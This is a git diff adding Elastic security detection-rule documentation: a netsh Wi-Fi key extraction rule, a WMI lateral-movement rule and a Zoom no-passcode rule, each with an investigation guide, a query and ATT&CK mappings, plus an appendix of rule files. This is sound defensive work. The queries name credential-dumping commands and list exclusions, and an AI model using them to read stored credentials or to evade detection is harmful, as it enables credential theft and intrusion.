involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "netsh.exe" or ?process.pe.original_file_name == "netsh.exe") and + process.args : "wlan" and process.args : "key*clear" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-wmi-incoming-lateral-movement.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-wmi-incoming-lateral-movement.asciidoc new file mode 100644 index 0000000000..ab47630342 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-wmi-incoming-lateral-movement.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-wmi-incoming-lateral-movement]] +=== WMI Incoming Lateral Movement + +Identifies processes executed via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement, but could be noisy if administrators use WMI to remotely manage hosts. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating WMI Incoming Lateral Movement* + + +Windows Management Instrumentation (WMI) is a core Windows feature enabling remote management and data collection. Adversaries exploit WMI for lateral movement by executing processes on remote hosts, often bypassing traditional security measures. The detection rule identifies suspicious WMI activity by monitoring specific network connections and process executions, filtering out common false positives to highlight potential threats. + + +*Possible investigation steps* + + +- Review the source IP address of the incoming RPC connection to determine if it is from a known or trusted network segment, excluding localhost addresses like 127.0.0.1 and ::1. +- Check the process name and parent process name, specifically looking for svchost.exe and WmiPrvSE.exe, to confirm the execution context and identify any unusual parent-child process relationships. +- Investigate the user ID associated with the process execution to ensure it is not a system account (S-1-5-18, S-1-5-19, S-1-5-20) and assess if the user has legitimate reasons for remote WMI activity. +- Examine the process executable path to verify it is not one of the excluded common false positives, such as those related to HPWBEM, SCCM, or other specified system utilities. +- Analyze the network connection details, including source and destination ports, to identify any patterns or anomalies that could indicate malicious lateral movement. +- Correlate the alert with other security events or logs from the same host or network segment to gather additional context and identify potential patterns of compromise. + + +*False positive analysis* + + +- Administrative use of WMI for remote management can trigger alerts. To manage this, create exceptions for known administrative accounts or specific IP addresses used by IT staff. +- Security tools like Nessus and SCCM may cause false positives. Exclude processes associated with these tools by adding their executables to the exception list. +- System processes running with high integrity levels might be flagged. Exclude processes with integrity levels marked as "System" to reduce noise. +- Specific executables such as msiexec.exe and appcmd.exe with certain arguments can be safely excluded if they are part of routine administrative tasks. +- Regularly review and update the exception list to ensure it aligns with current network management practices and tools. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further lateral movement by the adversary. This can be done by disabling network interfaces or using network segmentation tools. +- Terminate any suspicious processes identified as being executed via WMI on the affected host. Use task management tools or scripts to stop these processes. +- Conduct a thorough review of the affected host's WMI logs and process execution history to identify any unauthorized changes or additional malicious activity. +- Reset credentials for any accounts that were used in the suspicious WMI activity, especially if they have administrative privileges, to prevent further unauthorized access. +- Apply patches and updates to the affected host and any other systems that may be vulnerable to similar exploitation methods, ensuring that all security updates are current. +- Enhance monitoring and logging for WMI activity across the network to detect and respond to similar threats more quickly in the future. This includes setting up alerts for unusual WMI usage patterns. +- If the threat is confirmed to be part of a larger attack, escalate the incident to the appropriate security team or authority for further investigation and potential legal action. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan = 20s + + /* Accepted Incoming RPC connection by Winmgmt service */ + + [network where host.os.type == "windows" and process.name : "svchost.exe" and network.direction : ("incoming", "ingress") and + source.ip != "127.0.0.1" and source.ip != "::1" and destination.port == 135] + + /* Excluding Common FPs Nessus and SCCM */ + + [process where host.os.type == "windows" and event.type == "start" and process.parent.name : "WmiPrvSE.exe" and + not (?process.Ext.token.integrity_level_name : "System" or ?winlog.event_data.IntegrityLevel : "System") and + not ( + user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) and + not process.executable : + ("?:\\Program Files\\HPWBEM\\Tools\\hpsum_swdiscovery.exe", + "?:\\Windows\\CCM\\Ccm32BitLauncher.exe", + "?:\\Windows\\System32\\wbem\\mofcomp.exe", + "?:\\Windows\\Microsoft.NET\\Framework*\\csc.exe", + "?:\\Windows\\System32\\powercfg.exe") and + not (process.executable : "?:\\Windows\\System32\\msiexec.exe" and process.args : "REBOOT=ReallySuppress") and + not (process.executable : "?:\\Windows\\System32\\inetsrv\\appcmd.exe" and process.args : "uninstall") + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-zoom-meeting-with-no-passcode.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-zoom-meeting-with-no-passcode.asciidoc new file mode 100644 index 0000000000..73af490442 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-zoom-meeting-with-no-passcode.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-21-zoom-meeting-with-no-passcode]] +=== Zoom Meeting with no Passcode + +This rule identifies Zoom meetings that are created without a passcode. Meetings without a passcode are susceptible to Zoombombing. Zoombombing is carried out by taking advantage of Zoom sessions that are not protected with a passcode. Zoombombing refers to the unwanted, disruptive intrusion, generally by Internet trolls and hackers, into a video conference call. In a typical Zoombombing incident, a teleconferencing session is hijacked by the insertion of material that is lewd, obscene, racist, or antisemitic in nature, typically resulting of the shutdown of the session. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.zoom.us/a-message-to-our-users/ +* https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic + +*Tags*: + +* Data Source: Zoom +* Use Case: Configuration Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Zoom Meeting with no Passcode* + + +Zoom meetings without passcodes are vulnerable to unauthorized access, known as Zoombombing, where intruders disrupt sessions with inappropriate content. Adversaries exploit this by joining unsecured meetings to cause chaos or gather sensitive information. The detection rule identifies such meetings by monitoring Zoom event logs for sessions created without a passcode, helping to mitigate potential security breaches. + + +*Possible investigation steps* + + +- Review the Zoom event logs to identify the specific meeting details, including the meeting ID and the organizer's information, using the fields event.type, event.module, event.dataset, and event.action. +- Contact the meeting organizer to verify if the meeting was intentionally created without a passcode and understand the context or purpose of the meeting. +- Check for any unusual or unauthorized participants who joined the meeting by examining the participant logs associated with the meeting ID. +- Assess if any sensitive information was discussed or shared during the meeting that could have been exposed to unauthorized participants. +- Evaluate the need to implement additional security measures, such as enabling passcodes for all future meetings or using waiting rooms to control participant access. + + +*False positive analysis* + + +- Internal team meetings may be scheduled without a passcode for convenience, especially if all participants are within a secure network. To handle this, create exceptions for meetings initiated by trusted internal users or within specific IP ranges. +- Recurring meetings with a consistent group of participants might not use passcodes to simplify access. Consider excluding these meetings by identifying and whitelisting their unique meeting IDs. +- Training sessions or webinars intended for a broad audience might be set up without passcodes to ease access. Implement a policy to review and approve such meetings in advance, ensuring they are legitimate and necessary. +- Meetings created by automated systems or bots for integration purposes may not require passcodes. Identify these systems and exclude their meeting creation events from triggering alerts. +- In some cases, meetings may be intentionally left without passcodes for public access, such as community events. Establish a process to verify and document these events, allowing them to be excluded from the rule. + + +*Response and remediation* + + +- Immediately terminate any ongoing Zoom meetings identified without a passcode to prevent further unauthorized access or disruption. +- Notify the meeting host and relevant stakeholders about the security incident, advising them to reschedule the meeting with appropriate security measures, such as enabling a passcode or waiting room. +- Review and update Zoom account settings to enforce mandatory passcodes for all future meetings, ensuring compliance with security policies. +- Conduct a security audit of recent Zoom meetings to identify any other sessions that may have been created without a passcode and take corrective actions as necessary. +- Escalate the incident to the IT security team for further investigation and to assess any potential data breaches or information leaks resulting from the unauthorized access. +- Implement enhanced monitoring and alerting for Zoom meeting creation events to quickly detect and respond to any future instances of meetings being set up without passcodes. +- Coordinate with the communications team to prepare a response plan for any potential public relations issues arising from the incident, ensuring clear and consistent messaging. + +==== Setup + + + +*Setup* + + +The Zoom Filebeat module or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.type:creation and event.module:zoom and data_stream.dataset:zoom.webhook and + event.action:meeting.created and not zoom.meeting.password:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rules-8-19-21-appendix.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rules-8-19-21-appendix.asciidoc new file mode 100644 index 0000000000..59d96709b8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rules-8-19-21-appendix.asciidoc @@ -0,0 +1,720 @@ +["appendix",role="exclude",id="prebuilt-rule-8-19-21-prebuilt-rules-8-19-21-appendix"] += Downloadable rule update v8.19.21 + +This section lists all updates associated with version 8.19.21 of the Fleet integration *Prebuilt Security Detection Rules*. + + +include::prebuilt-rule-8-19-21-long-base64-encoded-command-via-scripting-interpreter.asciidoc[] +include::prebuilt-rule-8-19-21-aws-rare-source-as-organization-activity.asciidoc[] +include::prebuilt-rule-8-19-21-aws-credentials-used-from-github-actions-and-non-ci-cd-infrastructure.asciidoc[] +include::prebuilt-rule-8-19-21-file-creation-in-world-writable-directory-by-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-21-shell-history-clearing-via-environment-variables.asciidoc[] +include::prebuilt-rule-8-19-21-microsoft-iis-service-account-password-dumped.asciidoc[] +include::prebuilt-rule-8-19-21-connection-to-common-large-language-model-endpoints.asciidoc[] +include::prebuilt-rule-8-19-21-fortigate-socks-traffic-from-an-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-21-suricata-and-elastic-defend-network-correlation.asciidoc[] +include::prebuilt-rule-8-19-21-potential-traffic-tunneling-using-qemu.asciidoc[] +include::prebuilt-rule-8-19-21-genai-process-accessing-sensitive-files.asciidoc[] +include::prebuilt-rule-8-19-21-potential-secret-scanning-via-gitleaks.asciidoc[] +include::prebuilt-rule-8-19-21-multiple-cloud-secrets-accessed-by-source-address.asciidoc[] +include::prebuilt-rule-8-19-21-credential-access-via-trufflehog-execution.asciidoc[] +include::prebuilt-rule-8-19-21-genai-process-compiling-or-generating-executables.asciidoc[] +include::prebuilt-rule-8-19-21-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc[] +include::prebuilt-rule-8-19-21-elastic-defend-alert-followed-by-telemetry-loss.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-lolbin-execution-via-ssm-sendcommand.asciidoc[] +include::prebuilt-rule-8-19-21-remote-github-actions-runner-registration.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-python-shell-command-execution.asciidoc[] +include::prebuilt-rule-8-19-21-execution-via-github-actions-runner.asciidoc[] +include::prebuilt-rule-8-19-21-m365-or-entra-id-identity-sign-in-from-a-suspicious-source.asciidoc[] +include::prebuilt-rule-8-19-21-initial-access-via-file-upload-followed-by-get-request.asciidoc[] +include::prebuilt-rule-8-19-21-fortigate-ssl-vpn-login-followed-by-siem-alert-by-user.asciidoc[] +include::prebuilt-rule-8-19-21-zoom-meeting-with-no-passcode.asciidoc[] +include::prebuilt-rule-8-19-21-elastic-defend-and-network-security-alerts-correlation.asciidoc[] +include::prebuilt-rule-8-19-21-elastic-defend-and-email-alerts-correlation.asciidoc[] +include::prebuilt-rule-8-19-21-multiple-alerts-involving-a-user.asciidoc[] +include::prebuilt-rule-8-19-21-alerts-in-different-att-ck-tactics-by-host.asciidoc[] +include::prebuilt-rule-8-19-21-multiple-alerts-in-same-att-ck-tactic-by-host.asciidoc[] +include::prebuilt-rule-8-19-21-multiple-external-edr-alerts-by-host.asciidoc[] +include::prebuilt-rule-8-19-21-multiple-vulnerabilities-by-asset-via-wiz.asciidoc[] +include::prebuilt-rule-8-19-21-newly-observed-high-severity-detection-alert.asciidoc[] +include::prebuilt-rule-8-19-21-newly-observed-palo-alto-network-alert.asciidoc[] +include::prebuilt-rule-8-19-21-web-server-potential-command-injection-request.asciidoc[] +include::prebuilt-rule-8-19-21-web-server-discovery-or-fuzzing-activity.asciidoc[] +include::prebuilt-rule-8-19-21-potential-spike-in-web-server-error-logs.asciidoc[] +include::prebuilt-rule-8-19-21-web-server-potential-spike-in-error-response-codes.asciidoc[] +include::prebuilt-rule-8-19-21-web-server-suspicious-user-agent-requests.asciidoc[] +include::prebuilt-rule-8-19-21-aws-cloudtrail-log-created.asciidoc[] +include::prebuilt-rule-8-19-21-aws-s3-unauthenticated-bucket-access-by-rare-source.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-long-term-access-key-first-seen-from-source-ip.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-user-addition-to-group.asciidoc[] +include::prebuilt-rule-8-19-21-first-time-seen-aws-secret-value-accessed-in-secrets-manager.asciidoc[] +include::prebuilt-rule-8-19-21-aws-secrets-manager-rapid-secrets-retrieval.asciidoc[] +include::prebuilt-rule-8-19-21-aws-systems-manager-securestring-parameter-request-with-decryption-flag.asciidoc[] +include::prebuilt-rule-8-19-21-aws-management-console-brute-force-of-root-user-identity.asciidoc[] +include::prebuilt-rule-8-19-21-aws-cloudtrail-log-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-aws-cloudtrail-log-evasion.asciidoc[] +include::prebuilt-rule-8-19-21-aws-cloudtrail-log-suspended.asciidoc[] +include::prebuilt-rule-8-19-21-aws-cloudwatch-alarm-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-aws-config-resource-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-aws-configuration-recorder-stopped.asciidoc[] +include::prebuilt-rule-8-19-21-aws-vpc-flow-logs-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-network-access-control-list-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-serial-console-access-enabled.asciidoc[] +include::prebuilt-rule-8-19-21-aws-guardduty-detector-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-aws-guardduty-member-account-manipulation.asciidoc[] +include::prebuilt-rule-8-19-21-aws-rds-db-instance-restored.asciidoc[] +include::prebuilt-rule-8-19-21-aws-route-53-resolver-query-log-configuration-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-aws-s3-bucket-configuration-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc[] +include::prebuilt-rule-8-19-21-aws-s3-bucket-server-access-logging-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-aws-sqs-queue-purge.asciidoc[] +include::prebuilt-rule-8-19-21-aws-first-occurrence-of-sts-getfederationtoken-request-by-user.asciidoc[] +include::prebuilt-rule-8-19-21-insecure-aws-ec2-vpc-security-group-ingress-rule-added.asciidoc[] +include::prebuilt-rule-8-19-21-aws-waf-access-control-list-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-aws-waf-rule-or-rule-group-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-deprecated-ami-discovery.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-user-data-retrieval-for-ec2-instance.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-principal-enumeration-via-updateassumerolepolicy.asciidoc[] +include::prebuilt-rule-8-19-21-aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc[] +include::prebuilt-rule-8-19-21-aws-sts-getcalleridentity-api-called-for-the-first-time.asciidoc[] +include::prebuilt-rule-8-19-21-aws-service-quotas-multi-region-getservicequota-requests.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ssm-inventory-reconnaissance-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-21-aws-cloudshell-environment-created.asciidoc[] +include::prebuilt-rule-8-19-21-aws-lambda-layer-added-to-existing-function.asciidoc[] +include::prebuilt-rule-8-19-21-first-time-aws-cloudformation-stack-creation.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ssm-command-document-created-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ssm-sendcommand-execution-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-21-aws-dynamodb-scan-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-21-aws-dynamodb-table-exported-to-s3.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-ami-shared-with-another-account.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-export-task.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-full-network-packet-capture-detected.asciidoc[] +include::prebuilt-rule-8-19-21-aws-rds-snapshot-export.asciidoc[] +include::prebuilt-rule-8-19-21-aws-rds-db-snapshot-shared-with-another-account.asciidoc[] +include::prebuilt-rule-8-19-21-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc[] +include::prebuilt-rule-8-19-21-aws-s3-bucket-policy-added-to-allow-public-access.asciidoc[] +include::prebuilt-rule-8-19-21-aws-s3-bucket-replicated-to-another-account.asciidoc[] +include::prebuilt-rule-8-19-21-aws-api-activity-from-uncommon-s3-client-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-21-aws-sns-rare-protocol-subscription-by-user.asciidoc[] +include::prebuilt-rule-8-19-21-aws-eventbridge-rule-disabled-or-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-aws-s3-bucket-enumeration-or-brute-force.asciidoc[] +include::prebuilt-rule-8-19-21-aws-cloudtrail-log-updated.asciidoc[] +include::prebuilt-rule-8-19-21-aws-cloudwatch-log-group-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-aws-cloudwatch-log-stream-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-encryption-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-ebs-snapshot-access-removed.asciidoc[] +include::prebuilt-rule-8-19-21-aws-efs-file-system-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-deactivation-of-mfa-device.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-group-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-aws-kms-customer-managed-key-disabled-or-scheduled-for-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-deletion-protection-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-aws-rds-snapshot-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc[] +include::prebuilt-rule-8-19-21-excessive-aws-s3-object-encryption-with-sse-c.asciidoc[] +include::prebuilt-rule-8-19-21-aws-s3-object-encryption-using-external-kms-key.asciidoc[] +include::prebuilt-rule-8-19-21-aws-s3-object-versioning-suspended.asciidoc[] +include::prebuilt-rule-8-19-21-aws-s3-static-site-javascript-file-uploaded.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-aws-s3-object-encryption-with-sse-c.asciidoc[] +include::prebuilt-rule-8-19-21-aws-management-console-root-login.asciidoc[] +include::prebuilt-rule-8-19-21-aws-access-token-used-from-multiple-addresses.asciidoc[] +include::prebuilt-rule-8-19-21-aws-sign-in-root-password-recovery-requested.asciidoc[] +include::prebuilt-rule-8-19-21-aws-sign-in-console-login-with-federated-user.asciidoc[] +include::prebuilt-rule-8-19-21-aws-suspicious-user-agent-fingerprint.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ssm-session-started-to-ec2-instance.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-instance-console-login-via-assumed-role.asciidoc[] +include::prebuilt-rule-8-19-21-aws-sns-topic-message-publish-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-virtual-mfa-device-registration-attempt-with-session-token.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-network-access-control-list-creation.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-route-table-modified-or-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-security-group-configuration-change.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-api-calls-via-temporary-session-tokens.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-login-profile-added-for-root.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-create-user-via-assumed-role-on-ec2-instance.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-group-creation.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-oidc-provider-created-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-roles-anywhere-profile-creation.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-saml-provider-created.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-user-created-access-keys-for-another-user.asciidoc[] +include::prebuilt-rule-8-19-21-aws-lambda-function-policy-updated-to-allow-public-invocation.asciidoc[] +include::prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-password-modified.asciidoc[] +include::prebuilt-rule-8-19-21-aws-rds-db-instance-made-public.asciidoc[] +include::prebuilt-rule-8-19-21-aws-route-53-domain-transfer-lock-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-aws-route-53-domain-transferred-to-another-account.asciidoc[] +include::prebuilt-rule-8-19-21-aws-route-53-private-hosted-zone-associated-with-a-vpc.asciidoc[] +include::prebuilt-rule-8-19-21-aws-ec2-route-table-created.asciidoc[] +include::prebuilt-rule-8-19-21-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc[] +include::prebuilt-rule-8-19-21-aws-sts-assumerole-with-new-mfa-device.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-group.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-role.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-administratoraccess-policy-attached-to-user.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-customer-managed-policy-attached-to-role-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-saml-provider-updated.asciidoc[] +include::prebuilt-rule-8-19-21-aws-iam-assume-role-policy-update.asciidoc[] +include::prebuilt-rule-8-19-21-aws-sts-role-assumption-by-service.asciidoc[] +include::prebuilt-rule-8-19-21-aws-sts-role-assumption-by-user.asciidoc[] +include::prebuilt-rule-8-19-21-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc[] +include::prebuilt-rule-8-19-21-aws-sts-role-chaining.asciidoc[] +include::prebuilt-rule-8-19-21-aws-sns-topic-created-by-rare-user.asciidoc[] +include::prebuilt-rule-8-19-21-azure-storage-account-blob-public-access-enabled.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-sharepoint-or-onedrive-accessed-by-unusual-client.asciidoc[] +include::prebuilt-rule-8-19-21-microsoft-graph-request-email-access-by-unusual-user-and-client.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-oauth-device-code-flow-with-concurrent-sign-ins.asciidoc[] +include::prebuilt-rule-8-19-21-azure-service-principal-sign-in-followed-by-arc-cluster-credential-access.asciidoc[] +include::prebuilt-rule-8-19-21-azure-storage-account-keys-accessed-by-privileged-user.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-user-sign-in-brute-force-attempted.asciidoc[] +include::prebuilt-rule-8-19-21-microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-sign-in-brute-force-attempted-microsoft-365.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-concurrent-sign-in-with-suspicious-properties.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-mfa-totp-brute-force-attempted.asciidoc[] +include::prebuilt-rule-8-19-21-azure-key-vault-excessive-secret-or-key-retrieved.asciidoc[] +include::prebuilt-rule-8-19-21-azure-key-vault-unusual-secret-key-usage.asciidoc[] +include::prebuilt-rule-8-19-21-azure-vnet-full-network-packet-capture-enabled.asciidoc[] +include::prebuilt-rule-8-19-21-azure-storage-account-key-regenerated.asciidoc[] +include::prebuilt-rule-8-19-21-azure-automation-runbook-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-azure-event-hub-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-azure-diagnostic-settings-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-events-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-azure-vnet-firewall-policy-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-azure-vnet-firewall-front-door-waf-policy-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-azure-vnet-network-watcher-deleted.asciidoc[] +include::prebuilt-rule-8-19-21-azure-diagnostic-settings-alert-suppression-rule-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-21-azure-blob-storage-permissions-modified.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-sign-in-bloodhound-suite-user-agent-detected.asciidoc[] +include::prebuilt-rule-8-19-21-entra-id-sign-in-teamfiltration-user-agent-detected.asciidoc[] +include::prebuilt-rule-8-19-21-azure-blob-storage-container-access-level-modified.asciidoc[] +include::prebuilt-rule-8-19-21-azure-automation-runbook-created-or-modified.asciidoc[] +include::prebuilt-rule-8-19-21-azure-compute-vm-command-executed.asciidoc[] +include::prebuilt-rule-8-19-21-azure-storage-blob-retrieval-via-azcopy.asciidoc[] +include::prebuilt-rule-8-19-21-azure-compute-restore-point-collection-deleted-by-unusual-user.asciidoc[] +include::prebuilt-rule-8-19-21-azure-compute-restore-point-collections-deleted.asciidoc[] 